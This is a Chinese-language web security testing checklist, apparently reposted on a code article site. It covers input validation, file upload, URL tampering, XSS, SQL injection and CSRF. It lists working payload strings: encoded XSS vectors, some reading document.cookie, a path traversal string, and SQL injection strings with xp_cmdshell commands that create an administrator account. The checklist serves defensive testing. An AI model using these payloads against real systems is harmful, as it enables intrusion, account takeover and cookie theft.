安全測試用例如何寫


建立整體的威脅模型,測試溢出漏洞、信息泄漏、錯誤處理、SQL 注入、身份驗證和授權錯誤.

1、輸入驗證

客戶端驗證 服務器端驗證(禁用腳本調試,禁用Cookies)

1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)

2.輸入超長字符,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應

3.輸入特殊字符,如:~!@#$%^&*()_+<>:”{}|

4.輸入中英文空格,輸入字符串中間含空格,輸入首尾空格

5.輸入特殊字符串NULL,null,0x0d 0x0a

6.輸入正常字符串    

7.輸入與要求不同類型的字符,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字

8.輸入html和javascript代碼

9.對於像回答數這樣需檢驗數字正確性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加刪除等操作后查看變化

例如:

1.輸入<html”>”gfhd</html>,看是否出錯;

2.輸入<input type=”text” name=”user”/>,看是否出現文本框;

3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。

關於上傳:

1.上傳文件是否有格式限制,是否可以上傳exe文件;

2.上傳文件是否有大小限制,上傳太大的文件是否導致異常錯誤,上傳0K的文件是否會導致異常錯誤,上傳並不存在的文件是否會導致異常錯誤;

3.通過修改擴展名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;

4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如將超過空間的大文件拆分上傳是否會出現異常錯誤。

5.上傳文件大小大於本地剩余空間大小,是否會出現異常錯誤。

6.關於上傳是否成功的判斷。上傳過程中,中斷。程序是否判斷上傳是否成功。

7.對於文件名中帶有中文字符,特殊字符等的文件上傳。

下載:

  1. 避免輸入:\..\web.
  2. 修改命名后綴。

關於URL

1.某些需登錄后或特殊用戶才能進入的頁面,是否可以通過直接輸入網址的方式進入;

2.對於帶參數的網址,惡意修改其參數,(若為數字,則輸入字母,或很大的數字,或輸入特殊字符等)后打開網址是否出錯,是否可以非法進入某些頁面;

3.搜索頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。

4.輸入善意字符。

UBB:

 

[url=http://www.****.com] 你的網站[/url]

1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.

2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用

3.輸入編輯器中不存在的UBB代碼,看是否起作用

[url=javascript:alert('hello')]鏈接[/url]

[email=javascript:alert('hello')]EMail[/email]

[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]

[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "οnmοuseοver=alert('hello');"[/img]

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

[u]一二三四五六七北京市[/u]

[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

輸出編碼

常用的測試輸入語句有:

<input type="text"/>

<input/>

<input/ 

<script>alert('hello');</script>

1.jpg" οnmοuseοver="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“輸出內容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

對輸出數據到輸出數據的對比,看是否出現問題。

防止SQL注入

Admin--

‘or ­­­--­­

‘  and  (   )   exec   insert   *   %   chr   mid  

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2

‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

and 1=2    ;   ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

 跨站腳本攻擊(XSS

對於 XSS,只需檢查 HTML 輸出並看看您輸入的內容在什么地方。它在一個 HREF 標記中嗎?是否在 IFRAME 標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內容的 PARAM NAME 是怎樣的?

~!@#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/ 

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<img src="#" οnerrοr=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/**/οnerrοr=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" οnmοuseοver="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"οnmοuseοver=alert('hello');"

★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body οnlοad="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

 跨站請求偽造(CSRF

同個瀏覽器打開兩個頁面,一個頁面權限失效后,另一個頁面是否可操作成功。

當頁面沒有CHECKCODE時,查看頁面源代碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM